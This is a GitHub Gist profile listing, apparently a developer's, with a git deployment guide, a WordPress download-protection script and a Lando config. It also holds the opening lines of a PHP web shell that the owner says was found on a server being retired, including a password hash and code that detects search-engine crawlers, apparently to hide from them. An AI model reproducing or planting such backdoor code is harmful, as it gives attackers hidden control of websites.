Skip to content

Instantly share code, notes, and snippets.

View ahathaway's full-sized avatar

Alex Hathaway ahathaway

View GitHub Profile
@ahathaway
ahathaway / git-deployment.md
Last active October 21, 2018 22:43 — forked from noelboss/git-deployment.md
Simple automated GIT Deployment using Hooks

Simple automated GIT Deployment using GIT Hooks

Here are the simple steps needed to create a deployment from your lokal GIT repository to a server based on this in-depth tutorial.

How it works

You are developing in a working-copy on your local machine, lets say on the master branch. Most of the time, people would push code to a remote server like github.com or gitlab.com and pull or export it to a production server. Or you use a service like my Deepl.io to act upon a Web-Hook that's triggered that service.

@ahathaway
ahathaway / php_backdoor.php
Created September 27, 2018 21:04
Some php backdoor that I found on one of the servers we are moving away from.
<?php
$auth_pass = "6244da94938ddf690522f800d66587b7";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@ahathaway
ahathaway / dl-file.php
Created August 31, 2018 00:27 — forked from hakre/dl-file.php
Wordpress login to download uploaded files
<?php
/*
* dl-file.php
*
* Protect uploaded files with login.
*
* @link http://wordpress.stackexchange.com/questions/37144/protect-wordpress-uploads-if-user-is-not-logged-in
*
* @author hakre <http://hakre.wordpress.com/>
* @license GPL-3.0+
@ahathaway
ahathaway / .lando.yml
Created August 16, 2018 18:20
Starter Lando YAML for Wordpress - No caching
name: <PROJECTNAME>
recipe: wordpress
config:
webroot: .
php: '7.1'
via: nginx
database: mysql
xdebug: true
conf:
# server: .config/nginx/default.conf